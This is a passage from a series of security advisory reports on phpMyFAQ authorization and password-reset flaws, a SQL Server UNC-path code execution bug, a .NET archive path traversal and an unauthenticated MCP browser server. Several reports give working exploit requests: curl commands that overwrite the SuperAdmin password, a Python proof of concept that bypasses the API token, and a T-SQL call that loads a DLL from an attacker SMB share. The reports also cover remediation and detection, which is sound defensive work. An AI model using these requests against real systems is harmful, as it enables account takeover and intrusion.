blindly applies the new password hash to this object. The absence of a comparative privilege check between the requesting user and the target user creates a horizontal and vertical privilege escalation vector. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The vulnerability is located in `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php`. The vulnerable sequence begins by validating the global permission and then extracting the user-controlled parameter without contextual validation. ```php #[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])] public function overwritePassword(Request $request): JsonResponse { // Flaw 1: Global check only. Does not compare requester privileges vs target privileges. $this->userHasUserPermission(); $currentUser = CurrentUser::getCurrentUser($this->configuration); $data = json_decode($request->getContent()); // Flaw 2: Trusting user input for the target account identifier. $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // ... CSRF verification ... // The application fetches the arbitrary user and overwrites the password. $currentUser->getUserById((int) $userId, allowBlockedUsers: true); if (hash_equals($newPassword, $retypedPassword)) { // The password change is committed to the database. if (!$currentUser->changePassword($newPassword)) { return $this->json(['error' => '...'], Response::HTTP_BAD_REQUEST); } } } ``` The fundamental missing logic is a routine that ensures `$currentUser->getUserId() !== $userId` operates within an authorized boundary. The patch must introduce a check to determine if the target `$userId` possesses privileges (like SuperAdmin) that the requesting user lacks, rejecting the request with an HTTP 403 Forbidden if the boundary is violated. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation requires an active session for an account with the `USER_EDIT` permission. The attacker first accesses any administrative page to extract a valid CSRF token. This token is embedded in the HTML source and is required to successfully interact with the API endpoints. ```bash curl -sL -b "PHPSESSID=[ADMIN_SESSION]" http://[TARGET]/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+' ``` With the CSRF token acquired, the attacker crafts a `PUT` request targeting the `/admin/api/user/overwrite-password` endpoint. The payload specifies the `userId` as `1`, which is the default identifier for the SuperAdmin account in phpMyFAQ. The attacker provides a new password of their choosing. ```bash curl -X PUT -H "Content-Type: application/json" \ -b "PHPSESSID=[ADMIN_SESSION]" \ -d '{ "userId": 1, "csrf": "[EXTRACTED_CSRF_TOKEN]", "newPassword": "AttackerControlledP@ss1!", "passwordRepeat": "AttackerControlledP@ss1!" }' \ http://[TARGET]/admin/api/user/overwrite-password ``` The server processes the request, bypasses the granular authorization checks, and responds with a success message. The attacker can immediately authenticate via the web interface using the SuperAdmin credentials, taking full control of the phpMyFAQ instance. {/* icon: git-merge */} {/* type: exploit */} ## Attack Flow Diagram The following diagram illustrates the interaction between the attacker and the vulnerable API endpoint. ```mermaid graph LR A["Attacker (Low Admin)"] -->|Extract CSRF| B["Admin Web Interface"] A -->|PUT /overwrite-password| C["API: UserController"] C -->|Check USER_EDIT| D["Global Permission Check"] D -->|Passes| E["Update userId: 1"] E -->|Overwrite Credentials| F["Database"] F -->|Account Takeover| G["SuperAdmin Access"] ``` {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The successful exploitation of this vulnerability results in a total loss of confidentiality, integrity, and availability for the phpMyFAQ application. By overtaking the SuperAdmin account, the attacker gains the ability to modify system configurations, extract sensitive database contents, and manipulate user records. The CVSS v3.1 base score of 8.8 reflects the high severity of the flaw. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), making exploitation straightforward. The Privileges Required is Low (PR:L) because the attacker must already possess an active session with the `USER_EDIT` permission. Furthermore, administrative access to web applications frequently serves as a stepping stone for secondary attacks. An attacker with SuperAdmin rights could potentially discover functionality that allows for arbitrary file uploads or code execution, expanding the compromise to the underlying web server operating system. {/* icon: shield-check */} {/* type: mitigation */} ## Remediation and Mitigation The vendor addressed this vulnerability in phpMyFAQ version 4.1.3. Organizations utilizing phpMyFAQ must prioritize updating their deployments to this version or a newer stable release. The patch modifies the API controller to enforce strict authorization boundaries, preventing lower-privileged users from modifying higher-privileged accounts. If immediate patching is not feasible, administrators should restrict access to the `/admin/api/user/overwrite-password` endpoint. This can be achieved using a Web Application Firewall (WAF) or reverse proxy rules that block `PUT` requests to this path entirely, though this will disrupt legitimate administrative password resets. Additionally, organizations should audit their user roles to ensure the principle of least privilege is enforced. Limit the distribution of the `USER_EDIT` permission strictly to personnel who require it for daily operations. Implement extensive logging on all API actions that modify security principals. Alon Barad https://cvereports.com/reports/GHSA-GP95-J463-VV28 https://cvereports.com/reports/GHSA-GP95-J463-VV28 Wed, 20 May 2026 15:46:42 GMT {/* icon: shield */} {/* type: overview */} ## Vulnerability Overview phpMyFAQ introduced a comprehensive REST API architecture in version 4.0, designed to facilitate remote administration and content management. This architectural shift exposed several administrative endpoints that handle the creation and modification of knowledge base data. The vulnerability, classified under CWE-1188 (Insecure Default Variable Initialization), resides within the authorization layer protecting these new interfaces. The application relies on a centralized controller method to authorize incoming API requests based on a pre-configured static client token. During the initial application setup process, the default data seeder initializes this configuration value using an empty string. The combination of this empty default value and a logical oversight in the token validation routine creates a deterministic bypass condition. An attacker can exploit this condition remotely without prior authentication or administrative privileges. The attack surface encompasses all REST endpoints that rely exclusively on the flawed validation routine. These endpoints govern the creation of FAQ entries, category management, and question submissions. The exploitation of this vulnerability directly impacts system integrity. The assigned CVSS v3.1 vector string is `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`, reflecting the high integrity impact and the low complexity required to execute the attack. {/* icon: search */} {/* type: deep-dive */} ## Technical Root Cause Analysis The vulnerability is a direct consequence of two interacting flaws within the phpMyFAQ codebase: insecure default configuration and flawed comparative logic. During the application initialization phase, the `DefaultDataSeeder.php` script populates the configuration database. Within this script, the `api.apiClientToken` key is explicitly assigned an empty string value by default. ```php // src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php 'api.enableAccess' => 'true', 'api.apiClientToken' => '', // Insecure default state ``` The second component of the vulnerability exists within the application's API authorization layer. The REST API relies on a central authentication check implemented in the `AbstractController` class. The method `hasValidToken()` retrieves the value of the `x-pmf-token` header from the incoming HTTP request and compares it against the application's configured `api.apiClientToken`. ```php // src/phpMyFAQ/Controller/AbstractController.php protected function hasValidToken(): void { $request = Request::createFromGlobals(); if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) { throw new UnauthorizedHttpException('"x-pmf-token" is not valid.'); } } ``` The vulnerability manifests when the application evaluates the conditional statement using the strict inequality operator (`!==`). Because the default configuration stores an empty string, an attacker supplying an empty string in the `x-pmf-token` header causes the comparison to evaluate as `'' !== ''`. This expression returns false, preventing the `UnauthorizedHttpException` from being thrown. ```mermaid graph LR A["Attacker Request"] --> B["Controller checks x-pmf-token"] B --> C{"Is configured token !== request token?"} C -- "Yes (Strings differ)" --> D["Throw Exception"] C -- "No ('' === '')" --> E["Bypass Auth Check"] E --> F["Execute API Action"] ``` Consequently, the application treats the unauthenticated request as fully authorized. The request context successfully traverses the authentication middleware, and execution proceeds directly to the targeted endpoint controller logic. {/* icon: skull */} {/* type: exploit */} ## Attack Vectors and Exploitation Exploitation requires network access to the target host and a phpMyFAQ installation running a vulnerable version with the API enabled and default token configured. No specific server configurations or active user sessions are required to fulfill the exploitation prerequisites. The attacker interacts directly with the REST API endpoints using standard HTTP requests. The attack methodology involves crafting an HTTP POST or PUT request targeting one of the vulnerable endpoints, such as `/api/v4.0/faq/create`. The critical component of this request is the inclusion of the `x-pmf-token` header with an empty value. Providing this empty header manipulates the conditional logic inside `hasValidToken()` as previously detailed. ```python import urllib.request import json TARGET_URL = "http://<target-phpmyfaq-host>" API_ENDPOINT = f"{TARGET_URL}/api/v4.0/faq/create" # The empty header is the core exploit mechanism HEADERS = { "Content-Type": "application/json", "x-pmf-token": "" } PAYLOAD = { "language": "en", "category-id": 1, "question": "[POC] Authentication Bypass Confirmed", "answer": "This entry was created by an unauthenticated user exploiting GHSA-GP95-J463-VV28.", "keywords": "security,poc,bypass", "author": "Security Researcher", "email": "researcher@example.com", "is-active": True, "is-sticky": False } def exploit(): data = json.dumps(PAYLOAD).encode('utf-8') req = urllib.request.Request(API_ENDPOINT, data=data, headers=HEADERS, method="POST") try: with urllib.request.urlopen(req) as response: if response.status == 201: print(f"[*] Success! HTTP {response.status}: FAQ Created via bypass.") except Exception as e: print(f"[!] Error: {e}") exploit() ``` A successful exploit bypasses the authorization layer and processes the supplied JSON payload. The server responds with an HTTP 201 Created status, indicating the payload was successfully committed to the backing database. The attacker can repeat this process to modify categories, submit questions, or update existing FAQ content at will. {/* icon: activity */} {/* type: deep-dive */} ## Impact Assessment The primary consequence of this vulnerability is a complete loss of integrity over the knowledge base content. Because the vulnerable endpoints manage the core data entities of the application, an unauthenticated attacker assumes defacto administrative control over public-facing information. The attacker can programmatically insert, modify, or corrupt FAQ entries without restriction. This level of access enables several distinct abuse scenarios. Attackers can execute automated campaigns to flood the database with SEO spam, degrading the platform's utility and consuming storage resources. Furthermore, attackers can alter existing, trusted answers to redirect users to malicious domains or distribute convincing phishing materials. The vulnerability does not directly expose database credentials, configuration files, or underlying operating system resources. The confidentiality impact is assessed as none, as the affected endpoints do not return sensitive administrative data beyond the expected JSON confirmation responses. System availability remains largely unaffected unless the attacker intentionally exhausts database storage limits. Secondary exploitation paths may emerge depending on the application's content rendering configuration. If the application processes injected FAQ content without sufficient output encoding, attackers could leverage this authorization bypass to deploy persistent Cross-Site Scripting (XSS) payloads targeting administrators who view the corrupted entries via the administrative dashboard. {/* icon: shield-check */} {/* type: mitigation */} ## Remediation and Mitigation The most effective remediation strategy is upgrading the phpMyFAQ installation to version 4.1.3 or later. The patch corrects the insecure default data seeder, ensuring newly provisioned instances possess robust, non-empty initial configuration values. Furthermore, the `AbstractController` logic was updated to validate string length and explicitly reject empty authorization headers regardless of the underlying configuration state. Administrators operating vulnerable versions who cannot immediately deploy the patch must implement manual configuration changes. Logging into the administrative control panel and navigating to the API settings allows the definition of a cryptographically secure, non-empty API client token. Once populated, the application logic will accurately reject incoming requests carrying empty headers. If the REST API functionality is not utilized for operational workflows, administrators should disable the API architecture entirely. This architectural mitigation eliminates the attack surface, rendering the underlying token validation logic inaccessible to remote attackers. Security engineers can detect exploitation attempts by inspecting reverse proxy or web server access logs. The logs should be queried for HTTP POST or PUT methods targeting URIs matching the `/api/v4.0/` pattern. While standard access logs typically do not capture header values, high volumes of unauthenticated POST requests from untrusted network spaces strongly indicate exploitation activity. Alon Barad https://cvereports.com/reports/GHSA-W9XH-5F39-VQ89 https://cvereports.com/reports/GHSA-W9XH-5F39-VQ89 Wed, 20 May 2026 15:46:55 GMT {/* icon: shield */} {/* type: overview */} ## Vulnerability Overview phpMyFAQ is an open-source FAQ system. Versions prior to 4.1.3 contain a critical authentication bypass vulnerability in the password recovery mechanism. The vulnerability is tracked as GHSA-w9xh-5f39-vq89 and carries a CVSS 3.1 score of 7.1. The flaw occurs in the `UnauthorizedUserController` class responsible for processing password reset requests. The application fails to implement standard security controls such as time-limited cryptographic tokens or email verification steps. This allows unauthenticated users to trigger password resets arbitrarily. Attackers exploit this vulnerability by submitting HTTP PUT requests to the `/api/user/password/update` endpoint. Successful exploitation results in the immediate generation of a new password, which locks the legitimate user out of their account. This exposes the application to both denial-of-service and complete account takeover attacks. {/* icon: search */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of GHSA-w9xh-5f39-vq89 is the complete absence of cryptographic verification in the password recovery flow (CWE-640). Standard password recovery mechanisms require generating a secure, time-bound token that is sent to the user's email. The user must then present this token to authorize the password change. The `updatePassword()` method in phpMyFAQ operates on a strictly deterministic logic path based on user input. It retrieves a username and email address from the incoming JSON payload and verifies if they match an existing record. If the match is successful, the function proceeds directly to generating and applying a new password. The endpoint also lacks rate limiting or account enumeration protections. The API returns distinct error messages depending on whether the username exists or if the provided email matches the username. This verbose error handling facilitates automated enumeration of valid account credentials. Once a valid pair is supplied, the application invokes `$user->createPassword()` and `$user->changePassword()`. The system alters the user's credentials in the database before the user confirms the action. This direct state modification represents a failure in control flow isolation (CWE-288). {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The vulnerable logic resides in `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php`, specifically within the `updatePassword()` method. The method binds to the `user/password/update` route and accepts unauthenticated HTTP PUT requests. The code extracts the `username` and `email` fields directly from the request payload. The input undergoes basic sanitization via `Filter::filterVar()` and `Filter::filterEmail()`, but no cryptographic validation occurs. The application then checks if the user exists via `$user->getUserByLogin($username)`. Following this, it verifies if the submitted email matches the stored email for that user. The critical failure occurs immediately after the email verification block. The vulnerable code executes the following sequence: ```php if ($loginExist && $email === $user->getUserData('email')) { $newPassword = $user->createPassword(); $user->changePassword($newPassword); $mail->send(); } ``` In the patched version (4.1.3), the developers refactored the password recovery flow to implement a two-step verification process. The application now generates a unique verification token and stores it in the database with an expiration timestamp. The password is only altered after the user navigates to a unique link containing this token and submits a new password. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation of GHSA-w9xh-5f39-vq89 requires network access to the target phpMyFAQ instance. The attacker does not need prior authentication or specific privileges. The attack operates in two distinct phases: credential enumeration and password reset triggering. During the enumeration phase, the attacker submits crafted JSON payloads to the `/api/user/password/update` endpoint. By analyzing the HTTP responses, the attacker maps out valid users. A response of `{"error":"The user doesn't exist"}` indicates an invalid username, while `{"error":"The email doesn't exist..."}` confirms the username exists but the email is incorrect. After identifying a valid username and email combination, the attacker sends the final exploitation payload: ```bash curl -X PUT -H "Content-Type: application/json" \ -d '{"username":"admin","email":"admin@target.com"}' \ http://target/phpmyfaq/api/user/password/update ``` The server processes the request, changes the user's password in the database, and responds with `{"success":"Email has been sent."}`. At this point, the legitimate user is locked out. If the attacker controls the target's email or intercepts the plaintext email communication, they acquire the newly generated password and gain full access to the account. ```mermaid graph LR A["Attacker"] -->|PUT JSON Payload| B["/api/user/password/update"] B --> C{"Check Username & Email"} C -->|"Match Found"| D["$user->createPassword()"] D --> E["$user->changePassword()"] E --> F["Account Locked Out"] E --> G["Plaintext Email Sent"] G --> H{"Email Intercepted?"} H -->|"Yes"| I["Full Account Takeover"] H -->|"No"| J["Denial of Service"] ``` {/* icon: alert-triangle */} {/* type: deep-dive */} ## Impact Assessment The primary impact of this vulnerability is the potential for complete account takeover. If an attacker targets the SuperAdmin account and intercepts the recovery email, they gain full administrative control over the phpMyFAQ installation. This allows them to modify system configurations, alter access controls, and access all internal data. An attacker with administrative access compromises the confidentiality and integrity of all stored data. They can read private FAQ entries, extract user databases, and manipulate publicly visible content. This level of access facilitates further lateral movement or defacement of the application. Even without email interception, the vulnerability provides a reliable mechanism for denial of service against specific accounts. By continuously triggering the password reset endpoint, an attacker persistently locks legitimate users out of their accounts. The system state is modified without the user's consent, disrupting normal operational availability. The provided CVSS vector (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`) assigns a high integrity impact due to the unauthorized password modification. While the vector specifies 'None' for availability, the persistent lockout condition practically degrades user access. Organizations utilizing phpMyFAQ for internal knowledge management face significant disruption from this flaw. {/* icon: shield-check */} {/* type: mitigation */} ## Remediation and Detection The vendor addressed GHSA-w9xh-5f39-vq89 in phpMyFAQ version 4.1.3. Organizations must upgrade all instances running versions prior to 4.1.3 immediately. The patched release implements standard token-based verification for password resets, neutralizing the unauthenticated state modification. If an immediate upgrade is unfeasible, administrators must implement temporary mitigations at the web application firewall (WAF) or reverse proxy level. Network administrators can create rules to block all HTTP PUT requests targeting the `/api/user/password/update` endpoint. This action disables the password reset functionality entirely, preventing exploitation while maintaining core application availability. Security operations teams can detect exploitation attempts by monitoring HTTP access logs. Defenders should query for HTTP PUT requests directed at `/api/user/password/update` or `/user/password/update`. A high frequency of these requests originating from a single IP address indicates an active credential enumeration or brute-force attack. Organizations should also review application logs for sudden, unexpected password change events, particularly for administrative accounts. Implementing rate limiting on all API endpoints via reverse proxies provides an additional layer of defense against automated enumeration tools. Amit Schendel https://cvereports.com/reports/CVE-2026-40370 https://cvereports.com/reports/CVE-2026-40370 Tue, 12 May 2026 16:59:21 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview CVE-2026-40370 is a critical security flaw identified in Microsoft SQL Server, spanning multiple major releases from 2016 to 2025. The vulnerability facilitates Remote Code Execution (RCE) by authenticated threat actors possessing low-level access privileges. The issue resides within the database engine's handling of file paths supplied as parameters to various internal functions and stored procedures. The core of the vulnerability is classified under CWE-73 (External Control of File Name or Path). SQL Server provides several mechanisms for interacting with the underlying file system, typically intended for administrative tasks such as backup operations, bulk data imports, or external script execution. When these interfaces fail to sanitize input boundaries, they expose a direct vector for manipulating server-side file operations. Exploitation of this flaw allows an attacker to dictate the exact file path the SQL Server process will attempt to read, write, or execute. Because the database engine typically runs under a dedicated, highly privileged service account, successful manipulation results in code execution with those elevated permissions, leading to total compromise of the database environment. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability materializes when SQL Server processes external input intended for file system operations without applying strict boundary validation or canonicalization. Specific built-in stored procedures or bulk operation functions accept a string parameter representing a file path. The underlying C++ implementation in the SQL Server engine passes this string to Windows API functions without verifying its structural integrity or destination. This lack of validation permits two distinct path manipulation strategies. First, an attacker can utilize directory traversal sequences to escape intended working directories, potentially overwriting sensitive configuration files or loading malicious libraries from predictable locations. Second, the engine implicitly supports Universal Naming Convention (UNC) paths, which instruct the operating system to resolve the path over the network rather than the local disk. When a UNC path is provided, the Windows SMB client initiates a network connection to the specified remote host. If the operation involves loading a dynamic-link library or executing a binary, the SQL Server process retrieves the executable payload from the attacker-controlled SMB share and maps it into its own memory space. The root cause is the failure to explicitly block or filter UNC path formats and directory traversal characters at the parameter ingestion phase. {/* icon: code */} {/* type: deep-dive */} ## Code Execution Flow and T-SQL Interface While Microsoft SQL Server is a closed-source application, the vulnerability can be modeled by analyzing the Transact-SQL (T-SQL) attack surface and the underlying Windows API interactions. The flaw is triggered when an attacker invokes a vulnerable procedure and supplies a maliciously crafted parameter. ```sql -- Conceptual representation of the vulnerable T-SQL invocation -- The attacker supplies a UNC path pointing to an external SMB share EXEC sys.sp_vulnerable_data_operation @FilePath = '\\192.168.1.50\public\malicious_payload.dll', @Action = 'LOAD'; ``` In the vulnerable state, the SQL Server engine extracts the `@FilePath` variable and executes an internal routine analogous to the `LoadLibraryExW` Windows API. The operating system resolves the `\\192.168.1.50\public` share, authenticates using the context of the SQL Server service account, downloads `malicious_payload.dll`, and executes its entry point (`DllMain`). ```mermaid graph LR A["Attacker (Low Privs)"] -->|EXEC sp_... \\Attacker-IP\...| B["SQL Server (Vulnerable)"] B -->|SMB Connection / LoadLibrary| C["Attacker Controlled SMB Share"] C -->|Returns malicious.dll| B B -->|Executes DllMain| D["RCE as NT Service\MSSQLSERVER"] ``` The patched versions introduce strict parameter validation prior to executing file system operations. The remediation logic canonicalizes the input path and verifies it against an authorized list of safe directories (such as the default SQL Server backup or data folders). Furthermore, the update explicitly blocks paths commencing with `\\` or containing `..\`, terminating the procedure with an error before any network or file handles are opened. {/* icon: skull */} {/* type: exploit */} ## Exploitation Methodology Exploitation of CVE-2026-40370 requires the attacker to possess network connectivity to the SQL Server instance and valid authentication credentials. The prerequisite privilege level is low (`PR:L`), meaning any standard database user account is sufficient to initiate the attack sequence. No user interaction (`UI:N`) is required from administrators. The primary attack vector involves standing up an external, attacker-controlled SMB server hosting the exploitation payload. The attacker logs into the SQL Server environment via standard client tools or an existing application proxy and executes the vulnerable stored procedure. The provided argument points directly to the external SMB share. Upon execution, the SQL Server service attempts to interact with the specified file. If the payload is an executable or a DLL, it is executed natively. Alternatively, if the file interaction only triggers a read/write operation, the attacker can leverage the outbound SMB connection to capture the NetNTLMv2 hash of the SQL Server service account. This hash can subsequently be cracked offline or relayed to other internal services to achieve lateral movement across the domain. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The impact of CVE-2026-40370 is severe, directly compromising the Confidentiality, Integrity, and Availability (`C:H/I:H/A:H`) of the host system. Successful exploitation grants the attacker arbitrary code execution privileges matching the SQL Server service account. In typical enterprise deployments, this account operates as `NT Service\MSSQLSERVER` or a highly privileged Active Directory domain account. Code execution at this level allows the attacker to bypass database-level access controls completely. The threat actor can directly access the physical database files (`.mdf`, `.ldf`), extract sensitive information, modify financial or user data without generating standard database audit logs, or permanently destroy the data. The scope remains unchanged (`S:U`), as the direct compromise is limited to the host running the SQL instance, though the resultant access is absolute. Beyond the database, the compromised server serves as a powerful pivot point within the internal network. The attacker can deploy post-exploitation frameworks, initiate network discovery scanning, and target adjacent infrastructure. The outbound SMB connection inherent to the vulnerability also introduces the risk of immediate credential theft via NTLM relay attacks. {/* icon: lock */} {/* type: mitigation */} ## Mitigation and Remediation Guidance Immediate application of the official Microsoft Security Updates is the primary remediation strategy. Microsoft released specific Knowledge Base (KB) articles for all supported SQL Server versions on May 12, 2026. Administrators must identify their specific branch and Cumulative Update (CU) or General Distribution Release (GDR) level to apply the correct patch (e.g., KB5089270 for SQL Server 2016 SP3, KB5089899 for SQL Server 2025). In environments where immediate patching is unfeasible, administrators should implement stringent network-level workarounds. Configuring host-based firewalls (Windows Defender Firewall) or network perimeter firewalls to block outbound SMB traffic (TCP ports 139 and 445) from the SQL Server instances prevents the primary UNC path exploitation vector. This restricts the database engine from initiating connections to external, unauthenticated shares. Furthermore, organizations must enforce the Principle of Least Privilege across all database environments. Routine audits should verify that standard users do not possess unnecessary `EXECUTE` permissions on extended stored procedures or bulk data operations. Restricting the file system permissions of the SQL Server service account can also limit the damage of successful local path traversal, preventing the overwriting of critical system files. Alon Barad https://cvereports.com/reports/CVE-2026-32175 https://cvereports.com/reports/CVE-2026-32175 Tue, 12 May 2026 16:59:01 GMT {/* icon: search */} {/* type: deep-dive */} ## Vulnerability Overview The .NET Core runtime and SDK incorporate robust mechanisms for managing dependencies and extracting application assets. These mechanisms handle standard archive formats, predominantly ZIP-based structures such as NuGet packages (`.nupkg`) and single-file application bundles. The extraction functionality parses the internal metadata of these archives to determine the appropriate filesystem hierarchy required for deployment. The vulnerability, designated as CVE-2026-32175, manifests within this parsing and extraction layer. The specific flaw is classified as CWE-36: Absolute Path Traversal. The extraction components implicitly trust the file paths embedded within the archive metadata. When an archive is processed, the system reads the embedded entry names and utilizes them to construct the destination path on the local filesystem. The system assumes that all paths are relative to the designated extraction base directory. Attackers exploit this assumption by manipulating the archive structure prior to delivery. By modifying the entry names to contain explicit absolute paths, the attacker forces the extraction routine to direct file write operations outside the intended sandbox boundary. The resulting arbitrary file write capability provides a mechanism for attackers to overwrite critical application binaries, configuration files, or other sensitive components. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of the vulnerability resides in the inadequate sanitization of file paths during the archive extraction process. Standard archive formats mandate that internal entry names represent a relative directory structure. However, the format specification does not inherently prevent the inclusion of absolute paths, such as `C:\Windows\System32\malicious.dll` or rooted paths like `\Users\Public\payload.exe`. The responsibility for validating these paths falls entirely on the extracting application. In vulnerable versions of the .NET SDK and runtime, the underlying logic utilizes standard file stream APIs to write extracted content to disk. The application constructs the final target path by concatenating the base extraction directory with the archive entry name. The concatenation logic fails to perform robust canonicalization or validation. When the `Path.Combine` method or equivalent concatenation routine encounters an absolute path as the second argument, it frequently discards the base directory and returns the absolute path directly. Consequently, the extraction stream opens a file handle at the exact location specified by the attacker-controlled absolute path. The process fails to strip root directory prefixes or drive letters from the entry metadata. As long as the execution context possesses the requisite write permissions for the specified destination, the file system operation succeeds, writing the malicious payload to the arbitrary location. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis and Patch Implementation The mitigation strategy for this vulnerability involves comprehensive updates to the fundamental dependency libraries responsible for package management, primarily `NuGet.Packaging` and `NuGet.ProjectModel`. The fix introduces rigorous path canonicalization prior to any file system operations. Microsoft released a patched version of `NuGet.Packaging` (version `7.0.2-rc.21506`), which is subsequently bundled into the updated .NET Core runtimes. The patched logic relies on resolving the absolute, canonical representation of both the intended target directory and the final destination path. The extraction routine invokes `Path.GetFullPath()` on the resulting concatenated string. The system then strictly verifies that the resolved destination path is a proper subdirectory of the resolved base directory using a `StartsWith()` validation check. Any entry that evaluates to a path outside the permitted directory structure throws an exception, aborting the extraction of that specific file. ```mermaid graph LR A["Extract Archive Entry"] --> B["Read Entry.FullName"] B --> C["Concatenate BasePath + Entry.FullName"] C --> D["Call Path.GetFullPath()"] D --> E{"StartsWith(BasePath)?"} E -->|Yes| F["Write File to Disk"] E -->|No| G["Throw Security Exception"] ``` The implementation of this validation boundary ensures that absolute path traversal attempts are definitively blocked. By forcing all generated paths to resolve internally and comparing the roots, the patch mitigates both absolute path injection and complex relative traversal vectors (e.g., deeply nested `../` sequences) that resolve outside the base boundary. {/* icon: skull */} {/* type: exploit */} ## Exploitation and Attack Vectors Adversaries leverage this vulnerability primarily through malicious package injection within development and deployment pipelines. The initial phase of the attack involves crafting a `.nupkg` archive containing standard project dependencies alongside a maliciously modified file entry. The attacker alters the ZIP central directory record to specify an absolute path for the malicious entry. The package is then published to a public registry or a compromised internal feed. When a developer initiates a `dotnet restore` command, or an automated CI/CD runner processes a build definition, the .NET SDK retrieves and extracts the package. The extraction routine operates under the security context of the user executing the build. If the build runs with elevated privileges, the attacker gains the ability to overwrite system-level executables or configuration files across the entire operating system. Even under standard user permissions, the attacker can overwrite user-profile binaries, modifying `.profile` scripts, or planting DLLs for search-order hijacking. A secondary exploitation vector involves single-file application bundles and WebAssembly (WASM) build tasks. Attackers can distribute tampered single-file installers to end users. Upon execution, the installer attempts to extract its internal components, triggering the vulnerable path resolution logic. In WASM scenarios, manipulated metadata fields such as `integrity` or `hash` properties within build configurations can propagate absolute paths into the publishing phase, causing arbitrary file creation on the build server. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The official CVSS assessment rates the severity as 7.5 (High), utilizing the vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`. The integrity impact is classified as high due to the complete circumvention of filesystem boundary protections. The vulnerability directly enables an adversary to tamper with the host system by arbitrarily writing data. The specific consequences vary based on the permissions of the executing process, but the baseline impact involves unauthorized modification of the local environment. Although the confidentiality and availability metrics are officially scored as none, the secondary effects of arbitrary file modification often cascade into full system compromise. By overwriting an existing executable or placing a malicious dynamically linked library (DLL) into a known search path, an attacker establishes a reliable execution vector. Subsequent invocation of the targeted binary will inadvertently load and execute the attacker's payload. The network attack vector emphasizes that exploitation does not require local access to the target host. The automated nature of package resolution in modern software supply chains means that remote systems will pull and execute the vulnerable logic simply by processing a dependency manifest. The lack of required user interaction elevates the risk profile significantly for automated build infrastructure and containerized CI/CD environments. {/* icon: lock */} {/* type: mitigation */} ## Remediation and Mitigation Guidance The primary remediation strategy requires updating the .NET runtimes and SDKs to the latest servicing releases. Administrators must deploy .NET 10.0.8, .NET 9.0.16, or .NET 8.0.27 to vulnerable environments. Verification of the installed versions can be conducted by executing the `dotnet --info` command on target systems and inspecting the reported SDK and runtime components. Development environments utilizing Visual Studio must apply the corresponding integrated updates. Visual Studio 2026 must be updated to version 18.5.3, Visual Studio 2022 to version 17.14.31 or 17.12.20, and legacy versions patched accordingly. These updates ensure that the embedded NuGet and MSBuild components utilize the patched extraction logic during local development and debugging sessions. A critical mitigation step involves the recompilation and redeployment of self-contained applications. Because self-contained deployments bundle the runtime components directly into the application distribution, updating the host system runtime does not remediate the application. Organizations must rebuild these applications using the patched SDKs to incorporate the updated `NuGet.Packaging` logic into the standalone binaries. Amit Schendel https://cvereports.com/reports/GHSA-7HGR-7H44-33W2 https://cvereports.com/reports/GHSA-7HGR-7H44-33W2 Tue, 19 May 2026 20:13:35 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The `camofox-mcp` package operates as a server implementation for the Model Context Protocol (MCP), providing extensive browser automation capabilities. It exposes an HTTP transport endpoint at `/mcp` that clients use to interact with the underlying browser tools. Prior to version 1.13.2, this endpoint was implemented without any inbound authentication mechanisms, relying solely on rate limiting for traffic management. This lack of authentication constitutes a Missing Authentication for Critical Function vulnerability (CWE-306). Any client capable of routing HTTP traffic to the server port can invoke the MCP interface. The server accepts these unauthenticated connections and establishes a transport stream, assuming the client possesses the necessary authorization to interact with the system. The vulnerability is compounded by a Confused Deputy condition (CWE-441) in the server's architecture. The MCP server acts as an intermediary between external clients and the internal headless browser backend. While the backend requires an API key, the MCP server automatically attaches its own configured key to all forwarded requests. Consequently, an unauthenticated external attacker inherits the server's elevated privileges. Successful exploitation results in total compromise of the browser automation environment. Attackers can list available system tools, spawn new browser tabs, navigate to arbitrary URLs, and extract content or screenshots. While default configurations binding to `127.0.0.1` limit external exposure, environments utilizing Docker or reverse proxies frequently expose this endpoint to broader networks. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The structural flaw originates in the initialization sequence of the Express application within `src/http.ts`. The implementation defined a rate limiter to throttle inbound traffic to the `/mcp` route, establishing a baseline of network control. However, the middleware stack completely lacked an authorization verifier to validate the identity of the invoking client. When a client submits a `POST /mcp` request, the routing logic directly constructs a `StreamableHTTPServerTransport` object. The application then connects this transport stream to the backend MCP server without challenging the client for a Bearer token or any shared secret. The transport handles the request and parses the incoming payload, assuming the external source is legitimate. The critical failure occurs downstream during the backend communication phase in `src/client.ts`. The server configuration dictates that if a `CAMOFOX_API_KEY` is present in the environment, the server must append this key to both the `x-api-key` and `authorization` headers for outbound traffic. This design strictly protects the backend service from the MCP server, but it creates a blind proxy situation. Because the MCP server blindly forwards all unauthenticated inbound requests to the backend using its own administrative credentials, it functions as a Confused Deputy. The system architecture mistakenly conflated the authentication required for inter-process communication with the authorization required for external client access, leaving the public-facing endpoint entirely defenseless. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis An examination of the vulnerable implementation in `src/http.ts` highlights the absence of access controls before the transport layer execution. The Express application registers the rate limiter and immediately defines the POST handler, which allocates the transport and processes the body payload. ```typescript // src/http.ts (Vulnerable) const app = 